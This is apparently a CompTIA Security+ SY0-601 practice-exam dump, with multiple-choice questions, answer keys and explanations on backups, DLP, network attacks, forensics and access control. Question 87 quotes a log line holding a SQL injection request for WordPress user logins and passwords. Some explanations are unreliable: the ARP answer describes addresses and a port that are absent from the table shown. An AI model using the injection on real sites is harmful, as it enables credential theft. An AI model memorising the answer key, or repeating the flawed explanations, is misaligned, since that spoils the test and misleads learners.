

CompTIA

Exam Questions SY0-601

CompTIA Security+ Exam



NEW QUESTION 1

- (Exam Topic 3)

A local server recently crashed, and the team is attempting to restore the server from a backup. During the restore process, the team notices the file size of each daily backup is large and will run out of space at the current rate.

The current solution appears to do a full backup every night. Which of the following would use the least amount of storage space for backups?

- A. A weekly, incremental backup with daily differential backups
- B. A weekly, full backup with daily snapshot backups
- C. A weekly, full backup with daily differential backups
- D. A weekly, full backup with daily incremental backups

Answer: D

Explanation:

A weekly, full backup with daily incremental backups would use the least amount of storage space for backups, as it would only store the changes made since the last backup, whether it is a full or incremental backup. Incremental backups are faster and use less storage space than full or differential backups, but they require more time and media to restore data. A full backup is a complete copy of all data, which requires more time and storage space to perform, but allows a faster and easier recovery. A differential backup is a copy of the data that changed since the last full backup, which requires less time and storage space than a full backup, but more than an incremental backup. A differential backup allows a faster recovery than an incremental backup, but slower than a full backup. References:

➤ <https://www.nakivo.com/blog/backup-types-explained/>

NEW QUESTION 2

- (Exam Topic 3)

Which of the following tools can assist with detecting an employee who has accidentally emailed a file containing a customer's PII?

- A. SCAP
- B. NetFlow
- C. Antivirus
- D. DLP

Answer: D

Explanation:

DLP stands for Data Loss Prevention, which is a technology that can monitor, detect and prevent the unauthorized transmission of sensitive data, such as PII (Personally Identifiable Information). DLP can be implemented on endpoints, networks, servers or cloud services to protect data in motion, in use or at rest. DLP can also block or alert on data transfers that violate predefined policies or rules. DLP is the best tool to assist with detecting an employee who has accidentally emailed a file containing a customer's PII, as it can scan the email content and attachments for any data that matches the criteria of PII and prevent the email from being sent or notify the administrator of the incident. Verified References:

- Data Loss Prevention Guide to Blocking Leaks - CompTIA <https://www.comptia.org/content/guides/data-loss-prevention-a-step-by-step-guide-to-blocking-leaks>
- Data Loss Prevention – SY0-601 CompTIA Security+ : 2.1 <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/data-loss-prevention-4/>
- Data Loss Prevention – CompTIA Security+ SY0-501 – 2.1 <https://www.professormesser.com/security-plus/sy0-501/data-loss-prevention-3/>

NEW QUESTION 3

- (Exam Topic 3)

A company wants the ability to restrict web access and monitor the websites that employees visit, Which Of the following would best meet these requirements?

- A. Internet Proxy
- B. VPN
- C. WAF
- D. Firewall

Answer: A

Explanation:

An internet proxy is a server that acts as an intermediary between a client and a destination server on the internet. It can restrict web access and monitor the websites that employees visit by filtering the requests and responses based on predefined rules and policies, and logging the traffic and activities for auditing purposes

NEW QUESTION 4

- (Exam Topic 3)

Which of the following describes the exploitation of an interactive process to gain access to restricted areas?

- A. Persistence
- B. Port scanning
- C. Privilege escalation
- D. Pharming

Answer: C

Explanation:

Privilege escalation describes the exploitation of an interactive process to gain access to restricted areas. It is a type of attack that allows a normal user to obtain higher privileges or access rights on a system or network, such as administrative or root access. Privilege escalation can be achieved by exploiting a vulnerability, design flaw, or misconfiguration in the system or application. Privilege escalation can allow an attacker to perform unauthorized actions, such as accessing sensitive data, installing malware, or compromising other systems. References:

- <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/privilege-escalation-3/>
- <https://www.linkedin.com/learning/comptia-security-plus-sy0-601-cert-prep-2-secure-code-design-and-im>

NEW QUESTION 5

- (Exam Topic 3)

An organization is building a new headquarters and has placed fake cameras around the building in an attempt to discourage potential intruders. Which of the following kinds of controls describes this security method?

- A. Detective
- B. Deterrent
- C. Directive
- D. Corrective

Answer: B

Explanation:

A deterrent control is a type of security control that is designed to discourage potential intruders from attempting to access or harm a system or network. A deterrent control relies on the perception or fear of negative consequences rather than the actual enforcement of those consequences. A deterrent control can also be used to influence the behavior of authorized users by reminding them of their obligations and responsibilities. An example of a deterrent control is placing fake cameras around the building, as it can create the illusion of surveillance and deter potential intruders from trying to break in. Other examples of deterrent controls are warning signs, security guards, or audit trails. References:

- <https://www.ibm.com/topics/security-controls>
- <https://www.f5.com/labs/learning-center/what-are-security-controls>

NEW QUESTION 6

- (Exam Topic 3)

During an assessment, a systems administrator found several hosts running FTP and decided to immediately block FTP communications at the firewall. Which of the following describes the greatest risk associated with using FTP?

- A. Private data can be leaked
- B. FTP is prohibited by internal policy.
- C. Users can upload personal files
- D. Credentials are sent in cleartext.

Answer: D

Explanation:

Credentials are sent in cleartext is the greatest risk associated with using FTP. FTP is an old protocol that does not encrypt the data or the credentials that are transmitted over the network. This means that anyone who can capture the network traffic can see the usernames and passwords of the FTP users, as well as the files they are transferring. This can lead to data breaches, identity theft, and unauthorized access. Private data can be leaked (Option A) is a possible consequence of using FTP, but not the root cause of the risk. FTP is prohibited by internal policy (Option B) is a compliance issue, but not a technical risk. Users can upload personal files (Option C) is a management issue, but not a security risk

<https://www.infosectrain.com/blog/comptia-security-sy0-601-domain-5-governance-risk-and-compliance/>

NEW QUESTION 7

- (Exam Topic 3)

A security architect is designing a remote access solution for a business partner. The business partner needs to access one Linux server at the company. The business partner wants to avoid managing a password for authentication and additional software installation. Which of the following should the architect recommend?

- A. Soft token
- B. Smart card
- C. CSR
- D. SSH key

Answer: D

Explanation:

SSH key is a pair of cryptographic keys that can be used for authentication and encryption when connecting to a remote Linux server via SSH protocol. SSH key authentication does not require a password and is more secure than password-based authentication. SSH key authentication also does not require additional software installation on the client or the server, as SSH is a built-in feature of most Linux distributions. A business partner can generate an SSH key pair on their own computer and send the public key to the company, who can then add it to the authorized_keys file on the Linux server. This way, the business partner can access the Linux server without entering a password or installing any software

NEW QUESTION 8

- (Exam Topic 3)

A web architect would like to move a company's website presence to the cloud. One of the management team's key concerns is resiliency in case a cloud provider's data center or network connection goes down. Which of the following should the web architect consider to address this concern?

- A. Containers
- B. Virtual private cloud
- C. Segmentation
- D. Availability zones

Answer: D

Explanation:

Availability zones are the most appropriate cloud feature to address the concern of resiliency in case a cloud provider's data center or network connection goes down. Availability zones are physically separate locations within an Azure region that have independent power, cooling, and networking. Each availability zone is made up of one or more data centers and houses infrastructure to support highly available, mission-critical applications. Availability zones are connected with high-speed, private fiber-optic networks. Azure services that support availability zones fall into two categories: Zonal services – you pin the resource to a specific zone

(for example, virtual machines, managed disks, IP addresses), or Zone-redundant services – platform replicates automatically across zones (for example, zone-redundant storage, SQL Database). To achieve comprehensive business continuity on Azure, build your application architecture using the combination of availability zones with Azure region pairs. You can synchronously replicate your applications and data using availability zones within an Azure region for high-availability and asynchronously replicate across Azure regions for disaster recovery protection.

NEW QUESTION 9

- (Exam Topic 3)

Which of the following can best protect against an employee inadvertently installing malware on a company system?

- A. Host-based firewall
- B. System isolation
- C. Least privilege
- D. Application allow list

Answer: C

Explanation:

Least privilege is a security principle that states that users should only be granted the permissions they need to do their job. This helps to protect against malware infections by preventing users from installing unauthorized software.

A host-based firewall can help to protect against malware infections by blocking malicious traffic from reaching a computer. However, it cannot prevent a user from installing malware if they have the necessary permissions.

System isolation is the practice of isolating systems from each other to prevent malware from spreading. This can be done by using virtual machines or network segmentation. However, system isolation can be complex and expensive to implement.

An application allow list is a list of applications that are allowed to run on a computer. This can help to prevent malware infections by preventing users from running unauthorized applications. However, an application allow list can be difficult to maintain and can block legitimate applications.

Therefore, the best way to protect against an employee inadvertently installing malware on a company system is to use the principle of least privilege. This will help to ensure that users only have the permissions they need to do their job, which will reduce the risk of malware infections.

Here are some additional benefits of least privilege:

- It can help to improve security by reducing the attack surface.
- It can help to simplify security management by reducing the number of permissions that need to be managed.
- It can help to improve compliance by reducing the risk of data breaches.

NEW QUESTION 10

- (Exam Topic 2)

A security team discovered a large number of company-issued devices with non-work-related software installed. Which of the following policies would most likely contain language that would prohibit this activity?

- A. NDA
- B. BPA
- C. AUP
- D. SLA

Answer: C

Explanation:

AUP stands for acceptable use policy, which is a document that defines the rules and guidelines for using an organization's network, systems, devices, and resources. An AUP typically covers topics such as authorized and unauthorized activities, security requirements, data protection, user responsibilities, and consequences for violations. An AUP can help prevent non-work-related software installation on company-issued devices by clearly stating what types of software are allowed or prohibited, and what actions will be taken if users do not comply with the policy.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.techopedia.com/definition/2471/acceptable-use-policy-aup>

NEW QUESTION 10

- (Exam Topic 2)

A security administrator examines the ARP table of an access switch and sees the following output:

VLAN	MAC Address	Type	Ports
All	012b1283f77b	STATIC	CPU
All	c656da1009f1	STATIC	CPU
1	f9de6ed7d38f	DYNAMIC	Fa0/1
2	fb8d0ae3850b	DYNAMIC	Fa0/2
2	7f403b7cf59a	DYNAMIC	Fa0/2
2	f4182c262c61	DYNAMIC	Fa0/2

Which of the following is a potential threat that is occurring on this access switch?

- A. DDoS on Fa02 port
- B. MAC flooding on Fa0/2 port
- C. ARP poisoning on Fa0/1 port
- D. DNS poisoning on port Fa0/1

Answer: C

Explanation:

ARP poisoning is a type of attack that exploits the ARP protocol to associate a malicious MAC address with a legitimate IP address on a network. This allows the attacker to intercept, modify or drop traffic between the victim and other hosts on the same network. In this case, the ARP table of the access switch shows that the same MAC address (00-0c-29-58-35-3b) is associated with two different IP addresses (192.168.1.100 and 192.168.1.101) on port Fa0/12. This indicates that an attacker has poisoned the ARP table to redirect traffic intended for 192.168.1.100 to their own device with MAC address 00-0c-29-58-35-3b. The other options are

not related to this scenario. DDoS is a type of attack that overwhelms a target with excessive traffic from multiple sources³. MAC flooding is a type of attack that floods a switch with fake MAC addresses to exhaust its MAC table and force it to operate as a hub⁴. DNS poisoning is a type of attack that corrupts the DNS cache with fake entries to redirect users to malicious websites.

References: 1: <https://www.imperva.com/learn/application-security/arp-spoofing/> 2:

<https://community.cisco.com/t5/networking-knowledge-base/network-tables-mac-routing-arp/ta-p/4184148> 3:

<https://www.imperva.com/learn/application-security/ddos-attack/> 4: <https://www.imperva.com/learn/application-security/mac-flooding/> :

<https://www.imperva.com/learn/application-security/dns-spoofing-poisoning/>

NEW QUESTION 11

- (Exam Topic 2)

A global pandemic is forcing a private organization to close some business units and reduce staffing at others. Which of the following would be best to help the organization's executives determine their next course of action?

- A. An incident response plan
- B. A communication plan
- C. A disaster recovery plan
- D. A business continuity plan

Answer: D

Explanation:

A business continuity plan (BCP) is a document that outlines how an organization will continue its critical functions during and after a disruptive event, such as a natural disaster, pandemic, cyberattack, or power outage. A BCP typically covers topics such as business impact analysis, risk assessment, recovery strategies, roles and responsibilities, communication plan, testing and training, and maintenance and review. A BCP can help the organization's executives determine their next course of action by providing them with a clear framework and guidance for managing the crisis and resuming normal operations.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://www.ready.gov/business-continuity-plan>

NEW QUESTION 15

- (Exam Topic 2)

A security analyst receives an alert that indicates a user's device is displaying anomalous behavior. The analyst suspects the device might be compromised. Which of the following should the analyst do first?

- A. Reboot the device
- B. Set the host-based firewall to deny an incoming connection
- C. Update the antivirus definitions on the device
- D. Isolate the device

Answer: D

Explanation:

Isolating the device is the first thing that a security analyst should do if they suspect that a user's device might be compromised. Isolating the device means disconnecting it from the network or placing it in a separate network segment to prevent further communication with potential attackers or malicious hosts. Isolating the device can help contain the incident, limit the damage or data loss, preserve the evidence, and facilitate the investigation and remediation.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://resources.infosecinstitute.com/topic/incident-response-process/>

NEW QUESTION 18

- (Exam Topic 2)

A security engineer learns that a non-critical application was compromised. The most recent version of the application includes a malicious reverse proxy while the application is running. Which of the following should the engineer do to quickly contain the incident with the least amount of impact?

- A. Configure firewall rules to block malicious inbound access.
- B. Manually uninstall the update that contains the backdoor.
- C. Add the application hash to the organization's blocklist.
- D. Turn off all computers that have the application installed.

Answer: C

Explanation:

A reverse proxy backdoor is a malicious reverse proxy that can intercept and manipulate the traffic between the client and the web server³. This can allow an attacker to access sensitive data or execute commands on the web server.

One possible way to quickly contain the incident with the least amount of impact is to add the application hash to the organization's blocklist. A blocklist is a list of applications or files that are not allowed to run on a system or network. By adding the application hash to the blocklist, the security engineer can prevent the malicious application from running and communicating with the reverse proxy backdoor.

NEW QUESTION 21

- (Exam Topic 2)

Security engineers are working on digital certificate management with the top priority of making administration easier. Which of the following certificates is the best option?

- A. User
- B. Wildcard
- C. Self-signed
- D. Root

Answer: B

Explanation:

A wildcard certificate is a type of digital certificate that can be used to secure multiple subdomains under a single domain name. For example, a wildcard certificate for *.example.com can be used to secure www.example.com, mail.example.com, blog.example.com, etc. A wildcard certificate can make administration easier by reducing the number of certificates that need to be issued, managed, and renewed. It can also save costs and simplify configuration.

NEW QUESTION 26

- (Exam Topic 2)

An attacker is using a method to hide data inside of benign files in order to exfiltrate confidential data. Which of the following is the attacker most likely using?

- A. Base64 encoding
- B. Steganography
- C. Data encryption
- D. Perfect forward secrecy

Answer: B

Explanation:

Steganography is a technique for hiding data inside of benign files such as images, audio, or video. This can be used to exfiltrate confidential data without raising suspicion or detection.

References: How to Hide Files Inside Files [Images, Folder] - Raymond.CC Blog; How to Hide Data in a Secret Text File Compartment - How-To Geek; How to Hide Data Within an Image - Medium

NEW QUESTION 27

- (Exam Topic 2)

A security administrator is managing administrative access to sensitive systems with the following requirements:

- Common login accounts must not be used for administrative duties.
- Administrative accounts must be temporal in nature.
- Each administrative account must be assigned to one specific user.
- Accounts must have complex passwords.

" Audit trails and logging must be enabled on all systems.

Which of the following solutions should the administrator deploy to meet these requirements? (Give explanation and References from CompTIA Security+ SY0-601 Official Text Book and Resources)

- A. ABAC
- B. SAML
- C. PAM
- D. CASB

Answer: C

Explanation:

PAM is a solution that enables organizations to securely manage users' accounts and access to sensitive systems. It allows administrators to create unique and complex passwords for each user, as well as assign each account to a single user for administrative duties. PAM also provides audit trails and logging capabilities, allowing administrators to monitor user activity and ensure that all systems are secure. According to the CompTIA Security+ SY0-601 Course Book, "PAM is the most comprehensive way to control and monitor privileged accounts".

NEW QUESTION 32

- (Exam Topic 2)

A company that provides an online streaming service made its customers' personal data including names and email addresses publicly available in a cloud storage service. As a result, the company experienced an increase in the number of requests to delete user accounts. Which of the following best describes the consequence of this data disclosure?

- A. Regulatory fines
- B. Reputation damage
- C. Increased insurance costs
- D. Financial loss

Answer: B

Explanation:

Reputation damage Short explanation

Reputation damage is the loss of trust or credibility that a company suffers when its customers' personal data is exposed or breached. This can lead to customer dissatisfaction, loss of loyalty, and requests to delete user accounts. References: <https://www.comptia.org/content/guides/what-is-cybersecurity>

NEW QUESTION 33

- (Exam Topic 2)

During a recent cybersecurity audit, the auditors pointed out various types of vulnerabilities in the production area. The production area hardware runs applications that are critical to production. Which of the following describes what the company should do first to lower the risk to the production hardware.

- A. Back up the hardware.
- B. Apply patches.
- C. Install an antivirus solution.
- D. Add a banner page to the hardware.

Answer: B

Explanation:

Applying patches is the first step to lower the risk to the production hardware, as patches are updates that fix vulnerabilities or bugs in the software or firmware. Patches can prevent attackers from exploiting known vulnerabilities and compromising the production hardware. Applying patches should be done regularly and in

a timely manner, following a patch management policy and process. References: 1

CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 2

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3 <https://www.comptia.org/blog/patch-management-best-practices>

NEW QUESTION 34

- (Exam Topic 2)

A cybersecurity analyst needs to adopt controls to properly track and log user actions to an individual. Which of the following should the analyst implement?

- A. Non-repudiation
- B. Baseline configurations
- C. MFA
- D. DLP

Answer: A

Explanation:

Non-repudiation is the process of ensuring that a party involved in a transaction or communication cannot deny their involvement. By implementing non-repudiation controls, a cybersecurity analyst can properly track and log user actions, attributing them to a specific individual. This can be achieved through methods such as digital signatures, timestamps, and secure logging mechanisms.

References:

* 1. CompTIA Security+ Certification Exam Objectives (SY0-601): <https://www.comptia.jp/pdf/CompTIA%20Security%2B%20SY0-601%20Exam%20Objectives.pdf>

* 2. Stewart, J. M., Chapple, M., & Gibson, D. (2021). CompTIA Security+ Study Guide: Exam SY0-601. John Wiley & Sons.

NEW QUESTION 39

- (Exam Topic 2)

Which of the following can reduce vulnerabilities by avoiding code reuse?

- A. Memory management
- B. Stored procedures
- C. Normalization
- D. Code obfuscation

Answer: A

Explanation:

Memory management is a technique that can allocate and deallocate memory for applications and processes. Memory management can reduce vulnerabilities by avoiding code reuse, which is a technique that exploits a memory corruption vulnerability to execute malicious code that already exists in memory. Memory management can prevent code reuse by implementing features such as address space layout randomization (ASLR), data execution prevention (DEP), or stack canaries.

NEW QUESTION 42

- (Exam Topic 2)

A backup operator wants to perform a backup to enhance the RTO and RPO in a highly time- and storage-efficient way that has no impact on production systems. Which of the following backup types should the operator use?

- A. Tape
- B. Full
- C. Image
- D. Snapshot

Answer: D

Explanation:

A snapshot backup is a type of backup that captures the state of a system at a point in time. It is highly time- and storage-efficient because it only records the changes made to the system since the last backup. It also has no impact on production systems because it does not require them to be offline or paused during the backup process. References: <https://www.comptia.org/blog/what-is-a-snapshot-backup>

NEW QUESTION 46

- (Exam Topic 2)

A company has numerous employees who store PHI data locally on devices. The Chief Information Officer wants to implement a solution to reduce external exposure of PHI but not affect the business.

The first step the IT team should perform is to deploy a DLP solution:

- A. for only data in transit.
- B. for only data at reset.
- C. in blocking mode.
- D. in monitoring mode.

Answer: D

Explanation:

A DLP solution in monitoring mode is a good first step to deploy for data loss prevention. It allows the IT team to observe and analyze the data flows and activities without blocking or interfering with them. It helps to identify the sources and destinations of sensitive data, the types and volumes of data involved, and the potential risks and violations. It also helps to fine-tune the DLP policies and rules before switching to blocking mode, which can disrupt business operations if not configured properly.

NEW QUESTION 51

- (Exam Topic 2)

A security investigation revealed that malicious software was installed on a server using a server administrator's credentials. During the investigation, the server administrator explained that Telnet was regularly used to log in. Which of the following was most likely used to install the malware?

- A. A spraying attack was used to determine which credentials to use
- B. A packet capture tool was used to steal the password
- C. A remote-access Trojan was used to install the malware
- D. A directory attack was used to log in as the server administrator

Answer: B

Explanation:

Telnet is an insecure protocol that transmits data in cleartext over the network. This means that anyone who can intercept the network traffic can read the data, including the username and password of the server administrator. A packet capture tool is a software or hardware device that can capture and analyze network packets. An attacker can use a packet capture tool to steal the password and use it to install malicious software on the server. References:

<https://www.comptia.org/content/guides/what-is-network-security>

NEW QUESTION 56

- (Exam Topic 2)

A systems engineer thinks a business system has been compromised and is being used to exfiltrate data to a competitor. The engineer contacts the CSIRT. The CSIRT tells the engineer to immediately disconnect the network cable and to not do anything else. Which of the following is the most likely reason for this request?

- A. The CSIRT thinks an insider threat is attacking the network
- B. Outages of business-critical systems cost too much money
- C. The CSIRT does not consider the systems engineer to be trustworthy
- D. Memory contents including files and malware are lost when the power is turned off

Answer: D

Explanation:

Memory contents including files and malware are lost when the power is turned off. This is because memory is a volatile storage device that requires constant power to retain data. If a system has been compromised and is being used to exfiltrate data to a competitor, the CSIRT may want to preserve the memory contents for forensic analysis and evidence collection. Therefore, the CSIRT may tell the engineer to immediately disconnect the network cable and to not do anything else to prevent further data loss or tampering.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://resources.infosecinstitute.com/topic/memory-acquisition-and-analysis/>

NEW QUESTION 57

- (Exam Topic 2)

Which of the following allow access to remote computing resources, an operating system, and centralized configuration and data?

- A. Containers
- B. Edge computing
- C. Thin client
- D. Infrastructure as a service

Answer: C

Explanation:

Thin clients are devices that have minimal hardware and software components and rely on a remote server to provide access to computing resources, an operating system, and centralized configuration and data. Thin clients can reduce the cost, complexity, and security risks of managing multiple devices.

NEW QUESTION 59

- (Exam Topic 2)

An engineer wants to inspect traffic to a cluster of web servers in a cloud environment. Which of the following solutions should the engineer implement? (Select two).

- A. CASB
- B. WAF
- C. Load balancer
- D. VPN
- E. TLS
- F. DAST

Answer: BC

Explanation:

A web application firewall (WAF) is a solution that inspects traffic to a cluster of web servers in a cloud environment and protects them from common web-based attacks, such as SQL injection, cross-site scripting, and denial-of-service¹. A WAF can be deployed as a cloud service or as a virtual appliance in front of the web servers. A load balancer is a solution that distributes traffic among multiple web servers in a cloud environment and improves their performance, availability, and scalability². A load balancer can also perform health checks on the web servers and route traffic only to the healthy ones. The other options are not relevant to this scenario. A CASB is a cloud access security broker, which is a solution that monitors and controls the use of cloud services by an organization's users³. A VPN is a virtual private network, which is a solution that creates a secure and encrypted connection between two networks or devices over the internet. TLS is Transport Layer Security, which is a protocol that provides encryption and authentication for data transmitted over a network. DAST is dynamic application security testing, which is a method of testing web applications for vulnerabilities by simulating attacks on them.

References: 1: <https://www.imperva.com/learn/application-security/what-is-a-web-application-firewall-waf/> 2:

<https://www.imperva.com/learn/application-security/load-balancing/> 3: <https://www.imperva.com/learn/application-security/cloud-access-security-broker-casb/> :

<https://www.imperva.com/learn/application-security/vpn-virtual-private-network/> : <https://www.imperva.com/learn/application-security/transport-layer-security-tls/> :

<https://www.imperva.com/learn/application-security/dynamic-application-security-testing-dast/> : <https://docs.microsoft.com/en-us/azure/cloud-adoption->

framework/ready/azure-best-practices/plan-for-traffic-ins

: <https://docs.microsoft.com/en-us/azure/private-link/inspect-traffic-with-azure-firewall> : <https://docs.microsoft.com/en-us/azure/architecture/example-scenario/gateway/application-gateway-before-azur>

NEW QUESTION 63

- (Exam Topic 2)

The alert indicates an attacker entered thousands of characters into the text box of a web form. The web form was intended for legitimate customers to enter their phone numbers. Which of the attacks has most likely occurred?

- A. Privilege escalation
- B. Buffer overflow
- C. Resource exhaustion
- D. Cross-site scripting

Answer: B

Explanation:

A buffer overflow attack occurs when an attacker inputs more data than the buffer can store, causing the excess data to overwrite adjacent memory locations and corrupt or execute code¹. In this case, the attacker entered thousands of characters into a text box that was intended for phone numbers, which are much shorter. This could result in a buffer overflow attack that compromises the web application or server. The other options are not related to this scenario. Privilege escalation is when an attacker gains unauthorized access to higher-level privileges or resources². Resource exhaustion is when an attacker consumes all the available resources of a system, such as CPU, memory, disk space, etc., to cause a denial of service³. Cross-site scripting is when an attacker injects malicious code into a web page that is executed by the browser of a victim who visits the page.

References: 1: <https://www.fortinet.com/resources/cyberglossary/buffer-overflow> 2:

<https://www.imperva.com/learn/application-security/privilege-escalation/> 3: <https://www.imperva.com/learn/application-security/resource-exhaustion/> :

<https://owasp.org/www-community/attacks/xss/>

NEW QUESTION 67

- (Exam Topic 2)

Which of the following would provide guidelines on how to label new network devices as part of the initial configuration?

- A. IP schema
- B. Application baseline configuration
- C. Standard naming convention policy
- D. Wireless LAN and network perimeter diagram

Answer: C

Explanation:

A standard naming convention policy would provide guidelines on how to label new network devices as part of the initial configuration. A standard naming convention policy is a document that defines the rules and formats for naming network devices, such as routers, switches, firewalls, servers, or printers. A standard naming convention policy can help an organization achieve consistency, clarity, and efficiency in network management and administration.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

https://www.cisco.com/c/en/us/td/docs/solutions/Enterprise/Network_Virtualization/PathIsolationDesignGuide/P

NEW QUESTION 71

- (Exam Topic 2)

Which Of the following security controls can be used to prevent multiple from using a unique card swipe and being admitted to a entrance?

- A. Visitor logs
- B. Faraday cages
- C. Access control vestibules
- D. Motion detection sensors

Answer: C

Explanation:

Access control vestibules are physical security controls that consist of two sets of doors or gates that create a small enclosed space between them. Only one door or gate can be opened at a time, and only one person can enter or exit the vestibule at a time. Access control vestibules can prevent multiple people from using a unique card swipe and being admitted to a secure entrance, as they require each person to authenticate individually and prevent tailgating or piggybacking.

NEW QUESTION 73

- (Exam Topic 2)

Which of the following is the correct order of evidence from most to least volatile in forensic analysis?

- A. Memory, disk, temporary filesystems, CPU cache
- B. CPU cache, memory, disk, temporary filesystems
- C. CPU cache, memory, temporary filesystems, disk
- D. CPU cache, temporary filesystems, memory, disk

Answer: C

Explanation:

The correct order of evidence from most to least volatile in forensic analysis is based on how quickly the evidence can be lost or altered if not collected or preserved properly. CPU cache is the most volatile type of evidence because it is stored in a small amount of memory on the processor and can be overwritten or erased very quickly. Memory is the next most volatile type of evidence because it is stored in RAM and can be lost when the system is powered off or rebooted. Temporary filesystems are less volatile than memory because they are stored on disk, but they can still be deleted or overwritten by other processes or users. Disk is the least volatile type of evidence because it is stored on permanent storage devices and can be recovered even after deletion or formatting, unless overwritten by new data. References:

<https://www.comptia.org/blog/what-is-volatility-in-digital-forensics>

NEW QUESTION 77

- (Exam Topic 2)

A security administrator installed a new web server. The administrator did this to increase the capacity (or an application due to resource exhaustion on another server). Which of the following algorithms should the administrator use to split the number of the connections on each server in half?

- A. Weighted response
- B. Round-robin
- C. Least connection
- D. Weighted least connection

Answer: B

Explanation:

The administrator should use a round-robin algorithm to split the number of connections on each server in half. Round-robin is a load-balancing algorithm that distributes incoming requests to the available servers one by one in a cyclical order. This helps to evenly distribute the load across all of the servers, ensuring that no single server is overloaded.

NEW QUESTION 78

- (Exam Topic 2)

A company was recently breached. Part of the company's new cybersecurity strategy is to centralize the logs from all security devices. Which of the following components forwards the logs to a central source?

- A. Log enrichment
- B. Log queue
- C. Log parser
- D. Log collector

Answer: D

Explanation:

A log collector can collect logs from various sources, such as servers, devices, applications, or network components, and forward them to a central source for analysis and storage.

NEW QUESTION 80

- (Exam Topic 2)

A security engineer needs to implement an MDM solution that complies with the corporate mobile device policy. The policy states that in order for mobile users to access corporate resources on their devices, the following requirements must be met:

- Mobile device OSs must be patched up to the latest release.
- A screen lock must be enabled (passcode or biometric).
- Corporate data must be removed if the device is reported lost or stolen.

Which of the following controls should the security engineer configure? (Select two).

- A. Disable firmware over-the-air
- B. Storage segmentation
- C. Posture checking
- D. Remote wipe
- E. Full device encryption
- F. Geofencing

Answer: CD

Explanation:

Posture checking and remote wipe are two controls that the security engineer should configure to comply with the corporate mobile device policy. Posture checking is a process that verifies if a mobile device meets certain security requirements before allowing it to access corporate resources. For example, posture checking can check if the device OS is patched up to the latest release and if a screen lock is enabled. Remote wipe is a feature that allows the administrator to erase all data from a mobile device remotely, in case it is lost or stolen. This can prevent unauthorized access to corporate data on the device.

NEW QUESTION 82

- (Exam Topic 2)

The new Chief Information Security Officer at a company has asked the security team to implement stronger user account policies. The new policies require:

- Users to choose a password unique to their last ten passwords
- Users to not log in from certain high-risk countries

Which of the following should the security team implement? (Select two).

- A. Password complexity
- B. Password history
- C. Geolocation
- D. Geospatial
- E. Geotagging
- F. Password reuse

Answer: BC

Explanation:

Password history is a policy that prevents users from reusing their previous passwords. This can reduce the risk of password cracking or compromise. Geolocation

is a policy that restricts users from logging in from certain locations based on their IP address. This can prevent unauthorized access from high-risk countries or regions. References: <https://www.comptia.org/content/guides/what-is-identity-and-access-management>

NEW QUESTION 84

- (Exam Topic 2)

A systems analyst is responsible for generating a new digital forensics chain-of-custody form. Which of the following should the analyst include in this documentation? (Select two).

- A. The order of volatility
- B. A forensics NDA
- C. The provenance of the artifacts
- D. The vendor's name
- E. The date and time
- F. A warning banner

Answer: CE

Explanation:

A digital forensics chain-of-custody form is a document that records the chronological and logical sequence of custody, control, transfer, analysis, and disposition of digital evidence. A digital forensics chain-of-custody form should include the following information:

➤ The provenance of the artifacts: The provenance of the artifacts refers to the origin and history of the digital evidence, such as where, when, how, and by whom it was collected, handled, analyzed, or otherwise controlled.

➤ The date and time: The date and time refer to the specific moments when the digital evidence was collected, handled, analyzed, transferred, or disposed of by each person involved in the chain of custody.

Other information that may be included in a digital forensics chain-of-custody form are:

➤ The identification of the artifacts: The identification of the artifacts refers to the unique identifiers or labels assigned to the digital evidence, such as serial numbers, barcodes, hashes, or descriptions.

➤ The signatures of the custodians: The signatures of the custodians refer to the names and signatures of each person who had custody or control of the digital evidence at any point in the chain of custody.

➤ The location of the artifacts: The location of the artifacts refers to the physical or logical places where the digital evidence was stored or processed, such as a lab, a server, a cloud service, or a device.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://resources.infosecinstitute.com/topic/chain-of-custody-in-digital-forensics/>

NEW QUESTION 87

- (Exam Topic 2)

A security analyst reviews web server logs and notices the following line: 104.35. 45.53 [22/May/2020:07 : 00:58 +0100] "GET . UNION ALL SELECT user login, user _ pass, user email from wp users—— HTTP/I.I" 200 1072

<http://www.example.com/wordpress/wp—admin/>

Which of the following vulnerabilities is the attacker trying to exploit?

- A. SSRF
- B. CSRF
- C. xss
- D. SQLi

Answer: D

Explanation:

SQLi stands for SQL injection, which is a type of web security vulnerability that allows an attacker to execute malicious SQL statements on a database server. SQLi can result in data theft, data corruption, denial of service, or remote code execution.

The attacker in the web server log is trying to exploit a SQLi vulnerability by sending a malicious GET request that contains a UNION ALL SELECT statement. This statement is used to combine the results of two or more SELECT queries into a single result set. The attacker is attempting to retrieve user login, user pass, and user email from the wp users table, which is a WordPress database table that stores user information. The attacker may use this information to compromise the WordPress site or the users' accounts.

NEW QUESTION 88

- (Exam Topic 2)

The application development team is in the final stages of developing a new healthcare application. The team has requested copies of current PHI records to perform the final testing.

Which of the following would be the best way to safeguard this information without impeding the testing process?

- A. Implementing a content filter
- B. Anonymizing the data
- C. Deploying DLP tools
- D. Installing a FIM on the application server

Answer: B

Explanation:

Anonymizing the data is the process of removing personally identifiable information (PII) from data sets, so that the people whom the data describe remain anonymous¹². Anonymizing the data can safeguard the PHI records without impeding the testing process, because it can protect the privacy of the patients while preserving the data integrity and statistical accuracy for the application development team¹². Anonymizing the data can be done by using techniques such as data masking, pseudonymization, generalization, data swapping, or data perturbation¹².

Implementing a content filter is not the best way to safeguard the information, because it is a technique that blocks or allows access to certain types of content based on predefined rules or policies³. A content filter does not remove or encrypt PII from data sets, and it may not prevent unauthorized access or leakage of PHI records.

